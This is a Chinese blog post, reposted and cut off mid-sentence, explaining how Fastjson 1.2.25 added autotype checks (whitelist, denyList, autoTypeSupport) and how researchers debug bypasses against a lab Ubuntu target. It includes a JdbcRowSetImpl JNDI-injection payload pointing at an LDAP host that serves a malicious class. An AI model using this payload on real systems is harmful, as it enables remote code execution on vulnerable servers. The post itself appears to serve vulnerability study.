FastJson之autotype bypass_fastjson2加白名单

作者：你好赵伟 | 2024-08-09 15:08:47

踩

fastjson2加白名单

FastJson之autotype bypass

在1.2.25版本之后，添加了checkAutoType方法。在方法中引入了白名单（AutoType）、黑名单（denyList）和autoTypeSupport选项

把ubuntu靶机的fastjson版本换到1.2.25，使用原始的payload进行debug

{
   "xxx":{
   "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}
1
2
3

在DefaultJSONParser#parseObject中被添加的checkAutoType()方法

对比下图1.2.24版本的DefaultJSONParser#parseObject方法

**autoTypeSupport值：**autoTypeSupport值在1.2.25版本开始的默认是为false（fastjson>=1.2.25默认为false）

**开启方式：**在代码中加入ParserConfig.getGlobalInstance().setA

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/你好赵伟/article/detail/953881